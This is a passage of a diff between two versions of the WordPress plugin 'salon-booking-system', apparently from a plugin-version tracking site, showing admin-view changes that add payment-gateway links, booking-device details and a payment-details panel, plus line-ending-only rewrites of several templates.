fill=\"#fff\"\u002F>\u003C\u002Fsvg>\n+                                    Stripe\n+                                \u003C\u002Fspan>\n+                                \u003C?php if (!$sln_pm_is_live) : ?>\n+                                    \u003Cspan style=\"background:#ffc107;color:#333;padding:2px 7px;border-radius:3px;font-size:10px;font-weight:700;letter-spacing:.5px;\">TEST MODE\u003C\u002Fspan>\n+                                \u003C?php endif; ?>\n+                                \u003C?php if ($sln_pm_stripe_session) : ?>\n+                                    \u003Ca href=\"https:\u002F\u002Fdashboard.stripe.com\u002F\u003C?php echo esc_attr($sln_pm_stripe_prefix); ?>checkout\u002Fsessions\u002F\u003C?php echo esc_attr($sln_pm_stripe_session); ?>\"\n+                                       target=\"_blank\"\n+                                       style=\"font-size:12px;text-decoration:none;color:#635bff;\"\n+                                       title=\"\u003C?php esc_attr_e('Open session in Stripe Dashboard', 'salon-booking-system'); ?>\">\n+                                        \u003C?php esc_html_e('View Session ↗', 'salon-booking-system'); ?>\n+                                    \u003C\u002Fa>\n+                                \u003C?php endif; ?>\n+                            \u003C\u002Fdiv>\n+                        \u003C?php elseif ($sln_pm_is_paypal) : ?>\n+                            \u003Cdiv style=\"display:inline-flex;align-items:center;gap:5px;background:#003087;color:#fff;padding:4px 10px;border-radius:4px;font-size:12px;font-weight:600;\">\n+                                PayPal\n+                            \u003C\u002Fdiv>\n+                        \u003C?php endif; ?>\n+                    \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+                \u003C?php endif; ?>\n+\n                 \u003Cdiv class=\"sln-box__fl__item sln-input--simple\">\n                     \u003Cdiv class=\"form-group sln_meta_field sln-select\">\n                         \u003Clabel>\u003C?php esc_html_e('Duration', 'salon-booking-system'); ?>\u003C\u002Flabel>\n@@ -654,9 +705,59 @@\n                         $booking->getAmount()\n                     ); ?>\n                 \u003C\u002Fdiv>\n-                \u003C?php echo $booking->getTransactionId() ? '\u003Cdiv class=\"sln-box__fl__item sln-box__fl__item--transaction sln-input--simple\">\u003Clabel>' . esc_html__(\"Transaction ID\", 'salon-booking-system') . '\u003C\u002Flabel>\u003Ch5 class=\"sln-box-title--nu--ter sln-box-title--nu--dark\">' . esc_attr(implode(', ', $booking->getTransactionId())) . '\u003C\u002Fh5>\u003C\u002Fdiv>' :\n-                    '';\n+\n+                \u003C?php \u002F\u002F ---- Transaction ID (linked) ----\n+                $sln_pm_txn_ids = $booking->getTransactionId();\n+                if ($sln_pm_txn_ids) :\n+                    $sln_pm_txn_display = implode(', ', $sln_pm_txn_ids);\n+                    $sln_pm_first_txn   = $sln_pm_txn_ids[0];\n+                    $sln_pm_txn_url     = '';\n+                    if ($sln_pm_is_stripe) {\n+                        if (strpos($sln_pm_first_txn, 'txn_') === 0) {\n+                            $sln_pm_txn_url = 'https:\u002F\u002Fdashboard.stripe.com\u002F' . $sln_pm_stripe_prefix . 'balance\u002Fhistory\u002F' . $sln_pm_first_txn;\n+                        } elseif (strpos($sln_pm_first_txn, 'ch_') === 0 || strpos($sln_pm_first_txn, 'pi_') === 0) {\n+                            $sln_pm_txn_url = 'https:\u002F\u002Fdashboard.stripe.com\u002F' . $sln_pm_stripe_prefix . 'payments\u002F' . $sln_pm_first_txn;\n+                        }\n+                    } elseif ($sln_pm_is_paypal) {\n+                        $sln_pm_txn_url = 'https:\u002F\u002Fwww.paypal.com\u002Factivity\u002Fpayment\u002F' . $sln_pm_first_txn;\n+                    }\n                 ?>\n+                \u003Cdiv class=\"sln-box__fl__item sln-box__fl__item--transaction sln-input--simple\">\n+                    \u003Clabel>\u003C?php esc_html_e('Transaction ID', 'salon-booking-system'); ?>\u003C\u002Flabel>\n+                    \u003Ch5 class=\"sln-box-title--nu--ter sln-box-title--nu--dark\" style=\"word-break:break-all;\">\n+                        \u003C?php if ($sln_pm_txn_url) : ?>\n+                            \u003Ca href=\"\u003C?php echo esc_url($sln_pm_txn_url); ?>\" target=\"_blank\" title=\"\u003C?php esc_attr_e('Open in payment dashboard', 'salon-booking-system'); ?>\" style=\"color:inherit;\">\n+                                \u003C?php echo esc_html($sln_pm_txn_display); ?> \u003Cspan style=\"font-size:.75em;opacity:.7;\">↗\u003C\u002Fspan>\n+                            \u003C\u002Fa>\n+                        \u003C?php else : ?>\n+                            \u003C?php echo esc_html($sln_pm_txn_display); ?>\n+                        \u003C?php endif; ?>\n+                    \u003C\u002Fh5>\n+                \u003C\u002Fdiv>\n+                \u003C?php endif; \u002F\u002F transaction ID\n+\n+                \u002F\u002F ---- Device Info (Tier 3 — captured for bookings made after upgrade) ----\n+                if (!empty($sln_pm_device_info) && !empty($sln_pm_device_info['parsed'])) :\n+                    $sln_pm_parsed = $sln_pm_device_info['parsed'];\n+                    $sln_pm_platform_icons = array('Mobile' => '📱', 'Tablet' => '📲', 'Desktop' => '🖥️');\n+                    $sln_pm_platform_icon  = isset($sln_pm_platform_icons[$sln_pm_parsed['platform']]) ? $sln_pm_platform_icons[$sln_pm_parsed['platform']] : '🌐';\n+                ?>\n+                \u003Cdiv class=\"sln-box__fl__item sln-input--simple\">\n+                    \u003Clabel>\u003C?php esc_html_e('Booking Device', 'salon-booking-system'); ?>\u003C\u002Flabel>\n+                    \u003Cdiv style=\"font-size:13px;display:flex;align-items:center;gap:6px;flex-wrap:wrap;margin-top:4px;\">\n+                        \u003Cspan title=\"\u003C?php echo esc_attr($sln_pm_parsed['platform'] ?? ''); ?>\">\u003C?php echo esc_html($sln_pm_platform_icon); ?>\u003C\u002Fspan>\n+                        \u003C?php if (!empty($sln_pm_parsed['os'])) : ?>\n+                            \u003Cspan style=\"background:#f0f0f0;padding:2px 7px;border-radius:3px;\">\u003C?php echo esc_html($sln_pm_parsed['os']); ?>\u003C\u002Fspan>\n+                        \u003C?php endif; ?>\n+                        \u003C?php if (!empty($sln_pm_parsed['browser'])) : ?>\n+                            \u003Cspan style=\"background:#f0f0f0;padding:2px 7px;border-radius:3px;\">\u003C?php echo esc_html($sln_pm_parsed['browser']); ?>\u003C\u002Fspan>\n+                        \u003C?php endif; ?>\n+                        \u003C?php if (!empty($sln_pm_device_info['ip'])) : ?>\n+                            \u003Cspan style=\"color:#999;font-size:11px;\" title=\"\u003C?php esc_attr_e('Customer IP at booking time', 'salon-booking-system'); ?>\">\u003C?php echo esc_html($sln_pm_device_info['ip']); ?>\u003C\u002Fspan>\n+                        \u003C?php endif; ?>\n+                    \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+                \u003C?php endif; \u002F\u002F device info ?>\n                 \u003C?php if ($settings->isTipRequestEnabled()): ?>\n                     \u003Cdiv class=\"sln-box__fl__item sln-input--simple\">\n                         \u003C?php $helper->showFieldText(\n@@ -752,11 +853,8 @@\n                     \u003Cspan class=\"sln-calc-total-loading\">\u003C\u002Fspan>\n                 \u003C\u002Fdiv>\n \n-                \u003C?php\n-                $sln_stripe_session_id  = $booking->getMeta('stripe_session_id');\n-                $sln_paypal_return_data = get_post_meta($booking->getId(), '_sln_paypal_return_data', true);\n-                if ($sln_stripe_session_id || $sln_paypal_return_data) :\n-                    $sln_gateway_label = $sln_stripe_session_id ? __('Stripe', 'salon-booking-system') : __('PayPal', 'salon-booking-system');\n+                \u003C?php if ($sln_pm_is_stripe || $sln_pm_is_paypal) :\n+                    $sln_gateway_label = $sln_pm_is_stripe ? __('Stripe', 'salon-booking-system') : __('PayPal', 'salon-booking-system');\n                 ?>\n                 \u003Cdiv class=\"sln-box__fl__item sln-box__fl__item--2col\" id=\"sln-refresh-payment-wrap\">\n                     \u003Cbutton\n@@ -764,19 +862,100 @@\n                         id=\"sln-refresh-payment-status\"\n                         data-booking-id=\"\u003C?php echo intval($booking->getId()); ?>\"\n                         data-nonce=\"\u003C?php echo esc_attr(wp_create_nonce('sln_refresh_payment_status')); ?>\"\n-                        data-gateway=\"\u003C?php echo esc_attr($sln_stripe_session_id ? 'stripe' : 'paypal'); ?>\"\n+                        data-gateway=\"\u003C?php echo esc_attr($sln_pm_is_stripe ? 'stripe' : 'paypal'); ?>\"\n                     >\n-                        \u003C?php\n-                        printf(\n-                            \u002F* translators: %s: Payment gateway name (Stripe or PayPal) *\u002F\n+                        \u003C?php printf(\n+                            \u002F* translators: %s: Payment gateway name *\u002F\n                             esc_html__('Refresh %s Payment Status', 'salon-booking-system'),\n                             esc_html($sln_gateway_label)\n-                        );\n-                        ?>\n+                        ); ?>\n                     \u003C\u002Fbutton>\n                     \u003Cdiv id=\"sln-refresh-payment-result\" style=\"display:none; margin-top:8px; padding:8px 12px; border-radius:4px; font-size:13px;\">\u003C\u002Fdiv>\n                 \u003C\u002Fdiv>\n-                \u003C?php endif; ?>\n+\n+                \u003C?php \u002F\u002F ---- Rich Payment Details Panel (Tier 2) ----\n+                \u002F\u002F Pre-populated from cached meta; also refreshed dynamically by JS after AJAX call\n+                $sln_pm_has_cached = !empty($sln_pm_cached_details) && is_array($sln_pm_cached_details);\n+                ?>\n+                \u003Cdiv class=\"sln-box__fl__item sln-box__fl__item--2col\" id=\"sln-payment-details-panel\"\n+                     style=\"\u003C?php echo $sln_pm_has_cached ? '' : 'display:none;'; ?>\">\n+                    \u003C?php if ($sln_pm_has_cached) :\n+                        $d = $sln_pm_cached_details;\n+                        $sln_pm_wallet_labels = array(\n+                            'apple_pay'  => '🍎 Apple Pay',\n+                            'google_pay' => '🤖 Google Pay',\n+                            'link'       => '🔗 Stripe Link',\n+                            'samsung_pay'=> 'Samsung Pay',\n+                        );\n+                        $sln_pm_card_brand_icons = array(\n+                            'visa'       => '💳 Visa',\n+                            'mastercard' => '💳 Mastercard',\n+                            'amex'       => '💳 Amex',\n+                            'discover'   => '💳 Discover',\n+                            'jcb'        => '💳 JCB',\n+                            'unionpay'   => '💳 UnionPay',\n+                        );\n+                        ?>\n+                        \u003Cdiv style=\"border:1px solid #e0e0e0;border-radius:6px;padding:14px 16px;background:#fafafa;font-size:13px;\">\n+                            \u003Cstrong style=\"font-size:12px;text-transform:uppercase;letter-spacing:.5px;color:#666;\">\u003C?php esc_html_e('Payment Details', 'salon-booking-system'); ?>\u003C\u002Fstrong>\n+                            \u003Cdiv style=\"display:grid;grid-template-columns:repeat(auto-fill,minmax(170px,1fr));gap:10px;margin-top:10px;\">\n+                                \u003C?php if (!empty($d['card_brand'])) : ?>\n+                                \u003Cdiv>\n+                                    \u003Cdiv style=\"color:#999;font-size:11px;text-transform:uppercase;letter-spacing:.4px;\">\u003C?php esc_html_e('Card', 'salon-booking-system'); ?>\u003C\u002Fdiv>\n+                                    \u003Cdiv style=\"font-weight:600;margin-top:2px;\">\n+                                        \u003C?php echo esc_html(isset($sln_pm_card_brand_icons[$d['card_brand']]) ? $sln_pm_card_brand_icons[$d['card_brand']] : '💳 ' . ucfirst($d['card_brand'])); ?>\n+                                        \u003C?php if (!empty($d['card_last4'])) : ?>\n+                                            ****\u003C?php echo esc_html($d['card_last4']); ?>\n+                                        \u003C?php endif; ?>\n+                                    \u003C\u002Fdiv>\n+                                \u003C\u002Fdiv>\n+                                \u003C?php endif; ?>\n+                                \u003C?php if (!empty($d['wallet_type'])) : ?>\n+                                \u003Cdiv>\n+                                    \u003Cdiv style=\"color:#999;font-size:11px;text-transform:uppercase;letter-spacing:.4px;\">\u003C?php esc_html_e('Paid via', 'salon-booking-system'); ?>\u003C\u002Fdiv>\n+                                    \u003Cdiv style=\"font-weight:600;margin-top:2px;\">\u003C?php echo esc_html(isset($sln_pm_wallet_labels[$d['wallet_type']]) ? $sln_pm_wallet_labels[$d['wallet_type']] : ucfirst(str_replace('_', ' ', $d['wallet_type']))); ?>\u003C\u002Fdiv>\n+                                \u003C\u002Fdiv>\n+                                \u003C?php endif; ?>\n+                                \u003C?php if (!empty($d['charge_country'])) : ?>\n+                                \u003Cdiv>\n+                                    \u003Cdiv style=\"color:#999;font-size:11px;text-transform:uppercase;letter-spacing:.4px;\">\u003C?php esc_html_e('Card Country', 'salon-booking-system'); ?>\u003C\u002Fdiv>\n+                                    \u003Cdiv style=\"font-weight:600;margin-top:2px;\">\u003C?php echo esc_html($d['charge_country']); ?>\u003C\u002Fdiv>\n+                                \u003C\u002Fdiv>\n+                                \u003C?php endif; ?>\n+                                \u003C?php if (!empty($d['charge_date'])) : ?>\n+                                \u003Cdiv>\n+                                    \u003Cdiv style=\"color:#999;font-size:11px;text-transform:uppercase;letter-spacing:.4px;\">\u003C?php esc_html_e('Charged On', 'salon-booking-system'); ?>\u003C\u002Fdiv>\n+                                    \u003Cdiv style=\"font-weight:600;margin-top:2px;\">\u003C?php echo esc_html(date_i18n(get_option('date_format') . ' ' . get_option('time_format'), strtotime($d['charge_date']))); ?>\u003C\u002Fdiv>\n+                                \u003C\u002Fdiv>\n+                                \u003C?php endif; ?>\n+                                \u003C?php if (isset($d['refunded'])) : ?>\n+                                \u003Cdiv>\n+                                    \u003Cdiv style=\"color:#999;font-size:11px;text-transform:uppercase;letter-spacing:.4px;\">\u003C?php esc_html_e('Refund', 'salon-booking-system'); ?>\u003C\u002Fdiv>\n+                                    \u003Cdiv style=\"font-weight:600;margin-top:2px;color:\u003C?php echo $d['refunded'] ? '#dc3232' : '#46b450'; ?>;\">\n+                                        \u003C?php if ($d['refunded']) :\n+                                            $refundedAmt = !empty($d['amount_refunded']) ? $settings->getCurrencySymbol() . number_format($d['amount_refunded'] \u002F 100, 2) : '';\n+                                            echo esc_html($refundedAmt ? sprintf(__('Refunded (%s)', 'salon-booking-system'), $refundedAmt) : __('Refunded', 'salon-booking-system'));\n+                                        else :\n+                                            esc_html_e('None', 'salon-booking-system');\n+                                        endif; ?>\n+                                    \u003C\u002Fdiv>\n+                                \u003C\u002Fdiv>\n+                                \u003C?php endif; ?>\n+                                \u003C?php if (!empty($d['receipt_url'])) : ?>\n+                                \u003Cdiv>\n+                                    \u003Cdiv style=\"color:#999;font-size:11px;text-transform:uppercase;letter-spacing:.4px;\">\u003C?php esc_html_e('Receipt', 'salon-booking-system'); ?>\u003C\u002Fdiv>\n+                                    \u003Cdiv style=\"margin-top:2px;\">\n+                                        \u003Ca href=\"\u003C?php echo esc_url($d['receipt_url']); ?>\" target=\"_blank\" style=\"font-size:12px;\">\n+                                            \u003C?php esc_html_e('View Receipt ↗', 'salon-booking-system'); ?>\n+                                        \u003C\u002Fa>\n+                                    \u003C\u002Fdiv>\n+                                \u003C\u002Fdiv>\n+                                \u003C?php endif; ?>\n+                            \u003C\u002Fdiv>\n+                        \u003C\u002Fdiv>\n+                    \u003C?php endif; \u002F\u002F has cached details ?>\n+                \u003C\u002Fdiv>\n+                \u003C?php endif; \u002F\u002F is stripe or paypal ?>\n \n             \u003C\u002Fdiv>\n         \u003C\u002Fdiv>\u003C!-- sln-booking__totals \u002F\u002F END -->\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmetabox\u002Fresource.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmetabox\u002Fresource.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmetabox\u002Fresource.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmetabox\u002Fresource.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,49 +1,49 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-$helper->showNonce($postType);\r\n-?>\r\n-\u003Cdiv class=\"sln-box sln-box--main sln-box--haspanel sln-box--haspanel--open\">\r\n-    \u003Cdiv class=\"collapse in sln-box__panelcollapse\">\r\n-        \u003Cdiv class=\"row\">\r\n-\u003C!-- default settings -->\r\n-            \u003Cdiv class=\"col-xs-12 col-sm-3 col-md-3 col-lg-3 form-group sln-select\">\r\n-                \u003Clabel>\u003C?php esc_html_e('Units per session', 'salon-booking-system');?>\u003C\u002Flabel>\r\n-                \u003C?php SLN_Form::fieldNumeric($helper->getFieldName($postType, 'unit'), $resource->getUnitPerHour(), array('max' => 100));?>\r\n-                \u003Cp>\u003C?php esc_html_e('How many reservations for the same date\u002Ftime slot ?', 'salon-booking-system');?>\u003C\u002Fp>\r\n-            \u003C\u002Fdiv>\r\n-            \u003Cdiv class=\"col-xs-12 col-sm-4 col-md-6 col-lg-4\">\r\n-                \u003Cdiv class=\"sln-switch\">\r\n-                    \u003C?php SLN_Form::fieldCheckboxSwitch($helper->getFieldName($postType, 'enabled'), $resource->getEnabled(), __('Enable', 'salon-booking-system'), __('Disable', 'salon-booking-system')) ?>\r\n-                \u003C\u002Fdiv>\r\n-                \u003Cp>\u003C?php esc_html_e('Use it to temporarily disable this resource', 'salon-booking-system');?>\u003C\u002Fp>\r\n-            \u003C\u002Fdiv>\r\n-            \u003Cdiv class=\"sln-clear\">\u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-        \u003Cdiv class=\"row\">\r\n-            \u003Cdiv class=\"col-xs-12 form-group sln-select sln-select--multiple sln-select--multiple--search\">\r\n-                \u003Clabel>\u003C?php esc_html_e('Assigned services', 'salon-booking-system');?>\u003C\u002Flabel>\r\n-                \u003Cdiv class=\"sln-select--inwrapper has_no_choices\">\r\n-                \u003C?php\r\n-                    \u002F** @var SLN_Wrapper_Service[] $services *\u002F\r\n-                    $services = SLN_Plugin::getInstance()->getRepository(SLN_Plugin::POST_TYPE_SERVICE)->getAll();\r\n-                    $items = array();\r\n-                    foreach ($services as $s) {\r\n-                        $items[$s->getId()] = $s->getName();\r\n-                    }\r\n-                    SLN_Form::fieldSelect(\r\n-                        $helper->getFieldName($postType, 'services[]'),\r\n-                        $items,\r\n-                        (array)$resource->getMeta('services'),\r\n-                        array('attrs' => array('multiple' => true, 'placeholder' => __('select one or more services', 'salon-booking-system'), 'data-containerCssClass' => 'sln-select-wrapper-multi-search')),\r\n-                        true\r\n-                    );\r\n-                ?>\r\n-                \u003C\u002Fdiv>\r\n-                \u003Cp>\u003C?php esc_html_e('Select the services to be assigned to this resource', 'salon-booking-system');?>\u003C\u002Fp>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-        \u003Cdiv class=\"sln-clear\">\u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+$helper->showNonce($postType);\n+?>\n+\u003Cdiv class=\"sln-box sln-box--main sln-box--haspanel sln-box--haspanel--open\">\n+    \u003Cdiv class=\"collapse in sln-box__panelcollapse\">\n+        \u003Cdiv class=\"row\">\n+\u003C!-- default settings -->\n+            \u003Cdiv class=\"col-xs-12 col-sm-3 col-md-3 col-lg-3 form-group sln-select\">\n+                \u003Clabel>\u003C?php esc_html_e('Units per session', 'salon-booking-system');?>\u003C\u002Flabel>\n+                \u003C?php SLN_Form::fieldNumeric($helper->getFieldName($postType, 'unit'), $resource->getUnitPerHour(), array('max' => 100));?>\n+                \u003Cp>\u003C?php esc_html_e('How many reservations for the same date\u002Ftime slot ?', 'salon-booking-system');?>\u003C\u002Fp>\n+            \u003C\u002Fdiv>\n+            \u003Cdiv class=\"col-xs-12 col-sm-4 col-md-6 col-lg-4\">\n+                \u003Cdiv class=\"sln-switch\">\n+                    \u003C?php SLN_Form::fieldCheckboxSwitch($helper->getFieldName($postType, 'enabled'), $resource->getEnabled(), __('Enable', 'salon-booking-system'), __('Disable', 'salon-booking-system')) ?>\n+                \u003C\u002Fdiv>\n+                \u003Cp>\u003C?php esc_html_e('Use it to temporarily disable this resource', 'salon-booking-system');?>\u003C\u002Fp>\n+            \u003C\u002Fdiv>\n+            \u003Cdiv class=\"sln-clear\">\u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+        \u003Cdiv class=\"row\">\n+            \u003Cdiv class=\"col-xs-12 form-group sln-select sln-select--multiple sln-select--multiple--search\">\n+                \u003Clabel>\u003C?php esc_html_e('Assigned services', 'salon-booking-system');?>\u003C\u002Flabel>\n+                \u003Cdiv class=\"sln-select--inwrapper has_no_choices\">\n+                \u003C?php\n+                    \u002F** @var SLN_Wrapper_Service[] $services *\u002F\n+                    $services = SLN_Plugin::getInstance()->getRepository(SLN_Plugin::POST_TYPE_SERVICE)->getAll();\n+                    $items = array();\n+                    foreach ($services as $s) {\n+                        $items[$s->getId()] = $s->getName();\n+                    }\n+                    SLN_Form::fieldSelect(\n+                        $helper->getFieldName($postType, 'services[]'),\n+                        $items,\n+                        (array)$resource->getMeta('services'),\n+                        array('attrs' => array('multiple' => true, 'placeholder' => __('select one or more services', 'salon-booking-system'), 'data-containerCssClass' => 'sln-select-wrapper-multi-search')),\n+                        true\n+                    );\n+                ?>\n+                \u003C\u002Fdiv>\n+                \u003Cp>\u003C?php esc_html_e('Select the services to be assigned to this resource', 'salon-booking-system');?>\u003C\u002Fp>\n+            \u003C\u002Fdiv>\n+        \u003C\u002Fdiv>\n+        \u003Cdiv class=\"sln-clear\">\u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\n \u003C?php do_action('sln.template.resource.metabox', $resource);?>\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fonesignal\u002Fnotify.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fonesignal\u002Fnotify.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fonesignal\u002Fnotify.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fonesignal\u002Fnotify.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,31 +1,31 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Plugin          $plugin\r\n- * @var SLN_Wrapper_Booking $booking\r\n- *\u002F\r\n-\r\n-$default_template = SLN_Admin_SettingTabs_GeneralTab::getDefaultOnesignalNotificationMessage();\r\n-$template\t  = $plugin->getSettings()->get('onesignal_notification_message') ? $plugin->getSettings()->get('onesignal_notification_message') : $default_template;\r\n-\r\n-$message = str_replace(\r\n-    array(\r\n-\t'[NAME]',\r\n-\t'[SALON NAME]',\r\n-\t'[DATE]',\r\n-\t'[TIME]',\r\n-\t'[PRICE]',\r\n-\t'[BOOKING ID]',\r\n-    ),\r\n-    array(\r\n-\t$booking->getDisplayName(),\r\n-\t$plugin->getSettings()->getSalonName(),\r\n-\t$plugin->format()->date($booking->getDate()),\r\n-\t$plugin->format()->time($booking->getTime()),\r\n-\t$booking->getAmount(),\r\n-\t$booking->getId(),\r\n-    ),\r\n-    __(sprintf('%s', $template), 'salon-booking-system')\r\n-);\r\n-\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Plugin          $plugin\n+ * @var SLN_Wrapper_Booking $booking\n+ *\u002F\n+\n+$default_template = SLN_Admin_SettingTabs_GeneralTab::getDefaultOnesignalNotificationMessage();\n+$template\t  = $plugin->getSettings()->get('onesignal_notification_message') ? $plugin->getSettings()->get('onesignal_notification_message') : $default_template;\n+\n+$message = str_replace(\n+    array(\n+\t'[NAME]',\n+\t'[SALON NAME]',\n+\t'[DATE]',\n+\t'[TIME]',\n+\t'[PRICE]',\n+\t'[BOOKING ID]',\n+    ),\n+    array(\n+\t$booking->getDisplayName(),\n+\t$plugin->getSettings()->getSalonName(),\n+\t$plugin->format()->date($booking->getDate()),\n+\t$plugin->format()->time($booking->getTime()),\n+\t$booking->getAmount(),\n+\t$booking->getId(),\n+    ),\n+    __(sprintf('%s', $template), 'salon-booking-system')\n+);\n+\n echo $message;\n\\ No newline at end of file\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsettings: _tab_booking_auto_align_slots.php\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsettings\u002Ftab_booking.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsettings\u002Ftab_booking.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsettings\u002Ftab_booking.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsettings\u002Ftab_booking.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,109 +1,111 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-$plugin = SLN_Plugin::getInstance();\r\n-include $this->plugin->getViewFile('admin\u002Futilities\u002Fsettings_inpage_navbar');\r\n-sum(\r\n-\t\u002F\u002F link anchor, link text\r\n-\tarray('#sln-pause_booking_service', __('Pause booking service', 'salon-booking-system')),\r\n-\tarray('#sln-availability_mode', __('Availability mode', 'salon-booking-system')),\r\n-\tarray('#sln-nested_bookings', __('Nested bookings', 'salon-booking-system')),\r\n-\tarray('#sln-customers_per_session', __('Customers per session', 'salon-booking-system')),\r\n-\tarray('#sln-session_average_duration', __('Session average duration', 'salon-booking-system')),\r\n-\tarray('#sln-booking_steps_order', __('Booking steps order', 'salon-booking-system')),\r\n-\tarray('#sln-offset_between_reservations', __('Offset between reservations', 'salon-booking-system')),\r\n-\tarray('#sln-booking_time_range', __('Booking time range', 'salon-booking-system')),\r\n-\tarray('#sln-online_booking_available_days', __('On-line booking available days', 'salon-booking-system')),\r\n-\tarray('.availability-preview-box', __('Opening hours preview', 'salon-booking-system')),\r\n-\tarray('#sln-holidays_days', __('Holidays days', 'salon-booking-system')),\r\n-\tarray('#sln-booking_manual_confirmation', __('Booking manual confirmation', 'salon-booking-system')),\r\n-\tarray('#sln-user_booking_cancellation', __('User booking cancellation', 'salon-booking-system')),\r\n-\tarray('#sln-booking_rescheduling', __('Booking rescheduling', 'salon-booking-system'))\r\n-);\r\n-?>\r\n-\u003C?php\r\n-echo $plugin->loadView('settings\u002F_tab_booking_status');\r\n-echo $plugin->loadView('settings\u002F_tab_booking_availability');\r\n-echo $plugin->loadView('settings\u002F_tab_booking_nested_bookings');\r\n-?>\r\n-\u003Cdiv class=\"row\">\r\n-    \u003Cdiv id=\"sln-customers_per_session\" class=\"col-xs-12 col-sm-6 col-md-6\">\r\n-        \u003Cdiv class=\"sln-box sln-box--main sln-box--main--small\">\r\n-            \u003Ch2 class=\"sln-box-title\">\u003C?php esc_html_e('Customers per session', 'salon-booking-system'); ?> \u003Cspan\r\n-                    class=\"block\">\u003C?php esc_html_e(\r\n-                        'How many people you can attend during a single time\u002Fsession?',\r\n-                        'salon-booking-system'\r\n-                    ) ?>\u003C\u002Fspan>\u003C\u002Fh2>\r\n-            \u003Cdiv class=\"row\">\r\n-                \u003Cdiv class=\"col-xs-12 form-group sln-select  sln-select--info-label\">\r\n-                    \u003Cdiv class=\"row\">\r\n-                        \u003Cdiv class=\"col-xs-4\">\r\n-                            \u003C?php echo SLN_Form::fieldNumeric(\r\n-                                \"salon_settings[parallels_hour]\",\r\n-                                $this->getOpt('parallels_hour'),\r\n-                                array('min' => 1, 'max' => 1000)\r\n-                            ) ?>\r\n-                        \u003C\u002Fdiv>\r\n-                        \u003Cdiv class=\"col-xs-8 sln-label--big\">\u003Clabel for=\"salon_settings_sms_remind_interval\">Customers\r\n-                                per session\u003C\u002Flabel>\u003C\u002Fdiv>\r\n-                        \u003Cdiv class=\"col-xs-12\">\r\n-                            \u003Cp class=\"help-block sln-input-help\">\u003C?php _e(\r\n-                                    'Set these options carefully because it will affect the number of bookings you can accept for the same \u003Cstrong>time\u002Fsession\u003C\u002Fstrong>.',\r\n-                                    'salon-booking-system'\r\n-                                ) ?>\u003C\u002Fp>\r\n-                        \u003C\u002Fdiv>\r\n-                    \u003C\u002Fdiv>\r\n-                \u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-    \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-6\">\r\n-        \u003Cdiv id=\"sln-session_average_duration\" class=\"sln-box sln-box--main sln-box--main--small\">\r\n-            \u003Ch2 class=\"sln-box-title\">\u003C?php esc_html_e('Session average duration', 'salon-booking-system'); ?> \u003Cspan\r\n-                    class=\"block\">\u003C?php esc_html_e(\r\n-                        'This option will change the minimum hour fraction of the Time picker.',\r\n-                        'salon-booking-system'\r\n-                    ) ?>\u003C\u002Fspan>\u003C\u002Fh2>\r\n-            \u003Cdiv 